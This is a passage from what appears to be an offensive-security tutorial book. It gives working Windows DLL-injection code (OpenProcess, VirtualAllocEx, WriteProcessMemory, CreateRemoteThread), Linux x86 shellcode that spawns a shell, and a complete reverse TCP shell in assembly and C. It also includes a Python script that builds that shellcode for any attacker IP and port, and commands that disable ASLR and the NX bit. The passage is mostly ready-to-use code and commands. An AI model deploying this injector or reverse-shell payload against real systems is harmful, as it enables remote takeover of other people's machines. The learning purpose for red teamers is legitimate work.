int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

35
// initializing size: needed for using Process32First
pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID

pid = findMyProc(argv[1]);
if (pid) {
printf("PID = %d\n", pid);
}
return 0;
}
Let’s go to examine our code.
So first we parse process name from arguments. Then we find process ID by name and
print it:

36
To find PID we call findMyProc function which basically, what it does, it takes the
name of the process we want to inject to and try to find it in a memory of the operating
system, and if it exists, it’s running, this function return a process ID of that process:

I added comments to the code, so I think you shouldn’t have so many questions.
First we get a snapshot of currently executing processes in the system using CreateTool-
help32Snapshot:

37
And then we walks through the list recorded in the snapshot using Process32First and
Process32Next:

if we find the process which is match by name with our procname return it’s ID.
As I wrote earlier, for simplicity, we just print this PID.
Let’s go to compile our code:
i686-w64-mingw32-g++ hack.cpp -o hack.exe \
-lws2_32 -s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And now launch it in Windows machine (Windows 7 x64 in my case):


.\hack.exe mspaint.exe

38
As you can see, everything work perfectly.
Now, if we think like a red teamer, we can write a more interesting injector, which, for
example, find process by name and inject our payload to it.
Let’s go!
Again for simplicity I’ll take my injector from one of my posts and just add the function
findMyProc:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

// find process ID by process name


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;

39
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


int pid = 0; // process ID
HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress


HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// get process ID by name


pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
}

// open process
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL,
evilLen,
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph,
NULL,
0, (LPTHREAD_START_ROUTINE)lb,
rb, 0, NULL);
CloseHandle(ph);
return 0;

40
}
compile our hack2.cpp:
x86_64-w64-mingw32-gcc -O2 hack2.cpp -o hack2.exe
-mconsole -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc -fpermissive >/dev/null 2>&1

“Evil” DLL is the same:


/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;

41
}
compile and put it in a directory of our choice:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

run:
.\hack2.exe mspaint.exe

As you can see, everything is good: We launch mspaint.exe and our simple injector
find PID (1)
Our DLL with simple pop-up (Meow) is work! (2)
To verify our DLL is indeed injected into mspaint.exe process we can use Process
Hacker, in memory section we can see:

It seems our simple injection logic worked!


In this case, I didn’t check if SeDebugPrivilege is “enabled” in my own process. And
how can I get this privileges??? I have to study this with all the caveats in the future.

42
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapchot and Viewing Processes
CloseHandle
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
Source code on Github

43
8. linux shellcoding. Examples

shellcode
Writing shellcode is an excellent way to learn more about assembly language and how a
program communicates with the underlying OS.
Why are we red teamers and penetration testers writing shellcode? Because in real cases
shellcode can be a code that is injected into a running program to make it do something
it was not made to do, for example buffer overflow attacks. So shellcode is generally
can be used as the “payload” of an exploit.
Why the name “shellcode”? Historically, shellcode is machine code that when executed
spawns a shell.

testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run. The C
program below will be used to test all of our code (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

44
Knowledge of C and Assembly is highly recommend. Also knowing how the stack works
is a big plus. You can ofcourse try to learn what they mean from this tutorial, but it’s
better to take your time to learn about these from a more in depth source.

disable ASLR
Address Space Layout Randomization (ASLR) is a security features used in most
operating system today. ASLR randomly arranges the address spaces of pro-
cesses, including stack, heap, and libraries. It provides a mechanism for making
the exploitation hard to success. You can configure ASLR in Linux using the
/proc/sys/kernel/randomize_va_space interface.
The following values are supported: * 0 - no randomization
* 1 - conservative randomization
* 2 - full randomization
To disable ASLR, run:
echo 0 > /proc/sys/kernel/randomize_va_space
enable ASLR, run:
echo 2 > /proc/sys/kernel/randomize_va_space

some assembly
Firstly, let’s repeat some more introductory information, please be patient.
The x86 Intel Register Set.
EAX, EBX, ECX, and EDX are all 32-bit General Purpose
Registers.
AH, BH, CH and DH access the upper 16-bits of the
General Purpose Registers.
AL, BL, CL, and DL access the lower 8-bits of the
General Purpose Registers.
EAX, AX, AH and AL are called the "Accumulator"
registers and can be used for I/O port access,
arithmetic, interrupt calls etc. We can use these
registers to implement system calls.
EBX, BX, BH, and BL are the "Base" registers and are
used as base pointers for memory access. We will use
this register to store pointers in for arguments of
system calls. This register is also sometimes used to
store return value from an interrupt in.
ECX, CX, CH, and CL are also known as the "Counter"
registers.
EDX, DX, DH, and DL are called the "Data" registers
and can be used for I/O port access, arithmetic and
some interrupt calls.

45
Assembly instructions. There are some instructions that are important in assembly
programming:
mov eax, 32 ; assign: eax = 32
xor eax, eax ; exclusive OR
push eax ; push something onto the stack
pop ebx ; pop something from the stack
; (what was on the stack in a register/variable)
call mysuperfunc ; call a function
int 0x80 ; interrupt, kernel command
Linux system calls. System calls are APIs for the interface between the user space and
the kernel space. You can make use of Linux system calls in your assembly programs.
You need to take the following steps for using Linux system calls in your program:
Put the system call number in the EAX register.
Store the arguments to the system call in the
registers EBX, ECX, etc.
Call the relevant interrupt (80h).
The result is usually returned in the EAX register.
All the x86 syscalls are listed in /usr/include/asm/unistd_32.h.
Example of how libc wraps syscalls:
/*
exit0.c - for demonstrating
how libc wraps syscalls
*/
#include <stdlib.h>

void main() {
exit(0);
}
Let’s go to compile and disassembly:
gcc -masm=intel -static -m32 -o exit0 exit0.c
gdb -q ./exit0

46
0xfc = exit_group() and 0x1 = exit()

nullbytes
First of all, I want to draw your attention to nullbytes.
Let’s go to investigate simple program:
/*
meow.c - demonstrate nullbytes
*/
#include <stdio.h>
int main(void) {
printf ("=^..^= meow \x00 meow");
return 0;
}
compile and run:
gcc -m32 -w -o meow meow.c
./meow

As you can see, a nullbyte \x00 terminated the chain of instructions.


The exploits usually attack C code, and therefore the shell code often needs to be deliv-
ered in a NUL-terminated string. If the shell code contains NUL bytes the C code that

47
is being exploited might ignore and drop rest of the code starting from the first zero
byte.
This concerns only the machine code. If you need to call the system call with number
0xb, then naturally you need to be able to produce the number 0xb in the EAX register,
but you can only use those forms of machine code that do not contain zero bytes in the
machine code itself.
Let’s go to compile and run two equivalent code.
First exit1.asm:
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o exit1.o exit1.asm
; ld -m elf_i386 -o exit1 exit1.o && ./exit1
; 32-bit linux

section .data

section .bss

section .text
global _start ; must be declared for linker

; normal exit
_start: ; linker entry point
mov eax, 0 ; zero out eax
mov eax, 1 ; sys_exit system call
int 0x80 ; call sys_exit
compile and investigate exit1.asm:
nasm -f elf32 -o exit1.o exit1.asm
ld -m elf_i386 -o exit1 exit1.o
./exit1
objdump -M intel -d exit1

48
as you can see we have a zero bytes in the machine code.
Second exit2.asm:
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o exit2.o exit2.asm
; ld -m elf_i386 -o exit2 exit2.o && ./exit2
; 32-bit linux

section .data

section .bss

section .text
global _start ; must be declared for linker

; normal exit
_start: ; linker entry point
xor eax, eax ; zero out eax
mov al, 1 ; sys_exit system call (mov eax, 1)
; with remove null bytes
int 0x80 ; call sys_exit
compile and investigate exit2.asm:
nasm -f elf32 -o exit2.o exit2.asm
ld -m elf_i386 -o exit2 exit2.o
./exit2
objdump -M intel -d exit2

49
As you can see, there are no embedded zero bytes in it.
As I wrote earlier, the EAX register has AX, AH, and AL. AX is used to access the lower
16 bits of EAX. AL is used to access the lower 8 bits of EAX and AH is used to access
the higher 8 bits. So why is this important for writing shellcode? Remember back to
why null bytes are a bad thing. Using the smaller portions of a register allow us to use
mov al, 0x1 and not produce a null byte. If we would have done mov eax, 0x1 it
would have produced null bytes in our shellcode.
Both these programs are functionally equivalent.

example1. normal exit


Let’s begin with simplest example. Let’s use our exit.asm code as the first example for
shellcoding (example1.asm):
; just normal exit
; author @cocomelonc
; nasm -f elf32 -o example1.o example1.asm
; ld -m elf_i386 -o example1 example1.o && ./example1
; 32-bit linux

section .data

section .bss

section .text
global _start ; must be declared for linker

; normal exit

50
_start: ; linker entry point
xor eax, eax ; zero out eax
mov al, 1 ; sys_exit system call (mov eax, 1)
; with remove null bytes
int 0x80 ; call sys_exit
Notice the al and XOR trick to ensure that no NULL bytes will get into our code.
Extract byte code:
nasm -f elf32 -o example1.o example1.asm
ld -m elf_i386 -o example1 example1.o
objdump -M intel -d example1

Here is how it looks like in hexadecimal.


So, the bytes we need are 31 c0 b0 01 cd 80. Replace the code at the top (run.c)
with:
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "\x31\xc0\xb0\x01\xcd\x80";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked

51
return 1;
}
Now, compile and run:
gcc -z execstack -m32 -o run run.c
./run
echo $?

-z execstack Turn off the NX protection to make the stack executable


Our program returned 0 instead of 1, so our shellcode worked.

example2. spawning a linux shell.


Let’s go to writing a simple shellcode that spawns a shell (example2.asm):
; example2.asm - spawn a linux shell.
; author @cocomelonc
; nasm -f elf32 -o example2.o example2.asm
; ld -m elf_i386 -o example2 example2.o && ./example2
; 32-bit linux

section .data
msg: db '/bin/sh'

section .bss

section .text
global _start ; must be declared for linker

_start: ; linker entry point

; xoring anything with itself clears itself:


xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx

mov al, 0xb ; mov eax, 11: execve


mov ebx, msg ; load the string pointer to ebx
int 0x80 ; syscall

52
; normal exit
mov al, 1 ; sys_exit system call
; (mov eax, 1) with remove
; null bytes
xor ebx, ebx ; no errors (mov ebx, 0)
int 0x80 ; call sys_exit
To compile it use the following commands:
nasm -f elf32 -o example2.o example2.asm
ld -m elf_i386 -o example2 example2.o
./example2

As you can see our program spawn a shell, via execve:

Note: system("/bin/sh") would have been a lot simpler right? Well the only problem
with that approach is the fact that system always drops privileges.

53
So, execve takes 3 arguments: * The program to execute - EBX * The arguments or
argv(null) - ECX * The environment or envp(null) - EDX
This time, we’ll directly write the code without any null bytes, using the stack to store
variables (example3.asm):
; run /bin/sh and normal exit
; author @cocomelonc
; nasm -f elf32 -o example3.o example3.asm
; ld -m elf_i386 -o example3 example3.o && ./example3
; 32-bit linux

section .bss

section .text
global _start ; must be declared for linker

_start: ; linker entry point

; xoring anything with itself clears itself:


xor eax, eax ; zero out eax
xor ebx, ebx ; zero out ebx
xor ecx, ecx ; zero out ecx
xor edx, edx ; zero out edx

push eax ; string terminator


push 0x68732f6e ; "hs/n"
push 0x69622f2f ; "ib//"
mov ebx, esp ; "//bin/sh",0 pointer is ESP
mov al, 0xb ; mov eax, 11: execve
int 0x80 ; syscall
Now, let’s assemble it and check if it properly works and does not contain any null
bytes:
nasm -f elf32 -o example3.o example3.asm
ld -m elf_i386 -o example3 example3.o
./example3
objdump -M intel -d example3

54
Then, extract byte code via some bash hacking and objdump:
objdump -d ./example3|grep '[0-9a-f]:'|grep -v 'file'|cut \
-f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '| \
sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s | \
sed 's/^/"/'|sed 's/$/"/g'

So, our shellcode is:


"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e
\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\xb0\x0b\xcd\x80"
Then, replace the code at the top (run.c) with:
/*
run.c - a small skeleton program to run shellcode
*/

55
// bytecode here
char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31"
"\xd2\x50\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}
Compile and run:
gcc -z execstack -m32 -o run run.c
./run

As you can see, everything work perfectly. Now, you can use this shellcode and inject it
into a process.
In the next part, I’ll go to create a reverse TCP shellcode.
The Shellcoder’s Handbook
Shellcoding in Linux by exploit-db
my intro to x86 assembly
my nasm tutorial
execve
Source code in Github

56
9. linux shellcoding. Reverse TCP shellcode

In the previous section about shellcoding, we spawned a regular shell. In this section
my goal will be to write reverse TCP shellcode.

testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run. We will
use the same code as in the first post (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

reverse TCP shell


We will take the C code that starts the reverse TCP shell from one of my previous posts.
So our base (shell.c):
/*
shell.c - reverse TCP shell
author: @cocomelonc
demo shell for linux shellcoding example

57
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main () {

// attacker IP address
const char* ip = "127.0.0.1";

// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);

// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

for (int i = 0; i < 3; i++) {


// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}

// execve syscall
execve("/bin/sh", NULL, NULL);

return 0;
}

assembly preparation
As shown in the C source code, you need to translate the following calls into Assembly
language:
- create a socket.
- connect to a specified IP and port.
- then redirect stdin, stdout, stderr via dup2.
- launch the shell with execve.

58
create socket
You need syscall 0x66 (SYS_SOCKETCALL) to basically work with sockets:

Then cleanup eax register:


; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; zero out eax
The next important part - the different functions calls of the socketcall syscall can be
found in /usr/include/linux/net.h:

So you need to start with SYS_SOCKET (0x1) then cleanup ebx:


push 0x1 ; sys_socket 0x1
pop ebx ; zero out ebx
The socket() call basically takes 3 arguments and returns a socket file descriptor:
sockfd = socket(int socket_family, int socket_type, int protocol);
So you need to check different header files to find the definitions for the arguments.
For protocol:

59
nvim /usr/include/linux/in.h

For socket_type:
nvim /usr/include/bits/socket_type.h

For socket_family:
nvim /usr/include/bits/socket.h

60
Based on this info, you can push the different arguments (socket_family, socket_type,
protocol) onto the stack after cleaning up the edx register:
xor edx, edx ; zero out edx

; int socket(int domain, int type, int protocol);


push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
And since ecx needs to hold a pointer to this structure, a copy of the esp is required:
mov ecx, esp ; move stack pointer to ecx
finally execute syscall:
int 0x80 ; syscall (exec sys_socket)
which returns a socket file descriptor to eax.
In the end:
xchg edx, eax ; save result (sockfd) for later usage

connect to a specified IP and port


First you need the standard socketcall-syscall in al again:
; int socketcall(int call, unsigned long *args);
mov al, 0x66 ; socketcall 102

61
Let’s go to look at the connect() arguments, and the most interesting argument is the
sockaddr struct:
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
};
So you need to place arguments at this point. Firstly, sin_addr, then sin_port and
the last one is sin_family (remember: reverse order!):
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11 ; sin_port = 4444

ebx contains 0x1 at this point because of pressing socket_type during the socket
() call, so after increasing ebx, ebx should be 0x2 (the sin_family argument):
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
Then save the stack pointer to this sockaddr struct to ecx:
mov ecx, esp ; move stack pointer to sockaddr struct
Then:
push 0x10 ; addrlen = 16
push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; move stack pointer to ecx (sockaddr_in struct)
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)

redirect stdin, stdout and stderr via dup2


Now we set start-counter and reset ecx for loop:
push 0x2 ; set counter to 2
pop ecx ; zero to ecx (reset for newfd loop)

62
ecx is now ready for the loop, just saving the socket file descriptor to ebx as you need
it there during the dup2-syscall:
xchg ebx, edx ; save sockfd
Then, dup2 takes 2 arguments:
int dup2(int oldfd, int newfd);
Where oldfd (ebx) is the client socket file descriptor and newfd is used with stdin(0),
stdout(1) and stderr(2):
for (int i = 0; i < 3; i++) {
// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}
So, the sys_dup2 syscall is executed three times in an ecx-based loop:
dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; decrement counter
jns dup ; as long as SF is not set -> jmp to dup
jns basically jumps to “dup” as long as the signed flag (SF) is not set.
Let’s go to debug with gdb and check ecx value:
gdb -q ./rev

63
As you can see, after third dec ecx it contains 0xffffffff which is equal -1 and the
SF got set and the shellcode flow continues.
In result, all three output are redirected :)

launch the shell with execve


This part of code are similar to the example from the first part, but again with a small
change:
; spawn /bin/sh using execve
; int execve(const char *filename,
; char *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; save pointer to filename
int 0x80 ; syscall: exec sys_execve
As you can see, we need to push the terminating NULL for the /bin//sh string seperately
onto the stack, because there isn’t already one to use.
So we are done.

final complete shellcode


My complete, commented shellcode:
; run reverse TCP /bin/sh and normal exit
; author @cocomelonc
; nasm -f elf32 -o rev.o rev.asm
; ld -m elf_i386 -o rev rev.o && ./rev
; 32-bit linux

section .bss

section .text
global _start ; must be declared for linker

_start: ; linker entry point

; create socket
; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall 102
pop eax ; zero out eax
push 0x1 ; sys_socket 0x1

64
pop ebx ; zero out ebx
xor edx, edx ; zero out edx

; int socket(int domain, int type, int protocol);


push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
mov ecx, esp ; move stack pointer to ecx
int 0x80 ; syscall (exec sys_socket)
xchg edx, eax ; save result (sockfd) for later usage

; int socketcall(int call, unsigned long *args);


mov al, 0x66 ; socketcall 102

; int connect(int sockfd, const struct sockaddr *addr,


; socklen_t addrlen);
push 0x0101017f ; sin_addr = 127.1.1.1
; (network byte order)
push word 0x5c11 ; sin_port = 4444
inc ebx ; ebx = 0x02
push word bx ; sin_family = AF_INET
mov ecx, esp ; move stack pointer to sockaddr struct

push 0x10 ; addrlen = 16


push ecx ; const struct sockaddr *addr
push edx ; sockfd
mov ecx, esp ; move stack pointer to ecx (sockaddr_in struct)
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)

; int socketcall(int call, unsigned long *args);


; duplicate the file descriptor for
; the socket into stdin, stdout, and stderr
; dup2(sockfd, i); i = 1, 2, 3
push 0x2 ; set counter to 2
pop ecx ; zero to ecx (reset for newfd loop)
xchg ebx, edx ; save sockfd

dup:
mov al, 0x3f ; sys_dup2 = 63 = 0x3f
int 0x80 ; syscall (exec sys_dup2)
dec ecx ; decrement counter
jns dup ; as long as SF is not set -> jmp to dup

; spawn /bin/sh using execve


; int execve(const char *filename, char

65
; *const argv[],char *const envp[]);
mov al, 0x0b ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx ; argv=0
mov edx, ecx ; envp=0
push edx ; terminating NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; save pointer to filename
int 0x80 ; syscall: exec sys_execve

testing
Now, as in the first part, let’s assemble it and check if it properly works and does not
contain any null bytes:
nasm -f elf32 -o rev.o rev.asm
ld -m elf_i386 -o rev rev.o
objdump -M intel -d rev

66
Prepare listener on 4444 port and run:
./rev

Perfect!
Then, extract byte code via some bash hacking and objdump:
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|
sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

So, our shellcode is:


"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1
\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c
\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80
\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b
\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\xcd\x80"
Then, replace the code at the top (run.c) with:
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] =
"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68"
"\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1"
"\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49"
"\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68"

67
"\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}
Compile, prepare listener and run:
gcc -z execstack -m32 -o run run.c
./run

As you can see, everything work perfectly. Now, you can use this shellcode and inject it
into a process.
But there is one caveat. Let’s go to make the ip and port easily configurable.

configurable IP and port


To solve this problem I created a simple python script (super_shellcode.py):
import socket
import argparse
import sys

BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'

def my_super_shellcode(host, port):


print (BLUE)
print ("let's go to create your super shellcode...")

68
print (ENDC)
if int(port) < 1 and int(port) > 65535:
print (RED + "port number must be in 1-65535" + ENDC)
sys.exit()
if int(port) >= 1 and int(port) < 1024:
print (YELLOW + "you must be a root" + ENDC)
if len(host.split(".")) != 4:
print (RED + "invalid host address :(" + ENDC)
sys.exit()

h = socket.inet_aton(host).hex()
hl = [h[i:i+2] for i in range(0, len(h), 2)]
if "00" in hl:
print (YELLOW)
print ("host address will cause null bytes \
to be in shellcode :(")
print (ENDC)
h1, h2, h3, h4 = hl

shellcode_host = "\\x" + h1 + "\\x" + h2


shellcode_host += "\\x" + h3 + "\\x" + h4
print (YELLOW)
print ("hex host address:")
print (" x" + h1 + "x" + h2 + "x" + h3 + "x" + h4)
print (ENDC)

p = socket.inet_aton(port).hex()[4:]
pl = [p[i:i+2] for i in range(0, len(p), 2)]
if "00" in pl:
print (YELLOW)
print ("port will cause null bytes \
to be in shellcode :(")
print (ENDC)
p1, p2 = pl

shellcode_port = "\\x" + p1 + "\\x" + p2


print (YELLOW)
print ("hex port: x" + p1 + "x" + p2)
print (ENDC)

shellcode = "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31"
shellcode += "\\xd2\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd"
shellcode += "\\x80\\x92\\xb0\\x66\\x68"
shellcode += shellcode_host
shellcode += "\\x66\\x68"
shellcode += shellcode_port

69
shellcode += "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10"
shellcode += "\\x51\\x52\\x89\\xe1\\x43\\xcd"
shellcode += "\\x80\\x6a\\x02\\x59\\x87\\xda\\xb0"
shellcode += "\\x3f\\xcd\\x80\\x49\\x79\\xf9"
shellcode += "\\xb0\\x0b\\x41\\x89\\xca\\x52\\x68"
shellcode += "\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69"
shellcode += "\\x6e\\x89\\xe3\\xcd\\x80"

print (GREEN + "your super shellcode is:" + ENDC)


print (GREEN + shellcode + ENDC)

if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-l','--lhost',
required = True, help = "local IP",
default = "127.1.1.1", type = str)
parser.add_argument('-p','--lport',
required = True, help = "local port",
default = "4444", type = str)
args = vars(parser.parse_args())
host, port = args['lhost'], args['lport']
my_super_shellcode(host, port)
Prepare listener, run script, copy shellcode to our test program, compile and run:
python3 super_shellcode.py -l 10.9.1.6 -p 4444
gcc -static -fno-stack-protector -z execstack -m32 -o run run.c

So our shellcode is perfectly worked :)


This is how you create your own shellcode, for example.
The Shellcoder’s Handbook
Shellcoding in Linux by exploit-db
my intro to x86 assembly
my nasm tutorial
ip

70
socket
connect
execve
first part
Source code in Github

71
10. windows shellcoding - part 1. Simple example

In the previous sections about shellcoding, we worked with linux examples. In this
section my goal will be to write shellcode for windows machine.

testing shellcode
When testing shellcode, it is nice to just plop it into a program and let it run. We will
use the same code as in the first post (run.c):
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "my shellcode here";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}

first example. run calc.exe


First, we will write something like a prototype of the shellcode in C. For simplicity, let’s
write the following source code (exit.c):
/*
exit.c - run calc.exe and exit
*/

72
#include <windows.h>

int main(void) {
WinExec("calc.exe", 0);
ExitProcess(0);
}
As you can see, the logic of this program is simple: launch the calculator (calc.exe)
and exit. Let’s make sure our code actually works. Compile:
i686-w64-mingw32-gcc -o exit.exe exit.c -mconsole -lkernel32

Then run in windows machine (Windows 7 x86 SP1):


.\exit.exe

So everything is worked perfectly.


Let’s now try to write this logic in assembly language. The Windows kernel is com-
pletely different from the Linux kernel. At the very beginning of our program, we have
#include <windows.h>, which in turn means that the windows library will be in-
cluded in the code and this will dynamically link dependencies by default. However,

73
we cannot do the same with ASM. In the case of ASM, we need to find the location
of the WinExec function, load the arguments onto the stack, and call the register that
has a pointer to the function. Likewise for the ExitProcess function. It is important to
know that most windows functions are available from three main libraries: ntdll.dll,
Kernel32.DLL and KernelBase.dll. If you run our example in a debugger (x32dbg
in my case), you can make sure of this:

finding function’s addresses


So, we need to know the WinExec address in memory. We’ll find it!
/*
getaddr.c - get addresses of functions
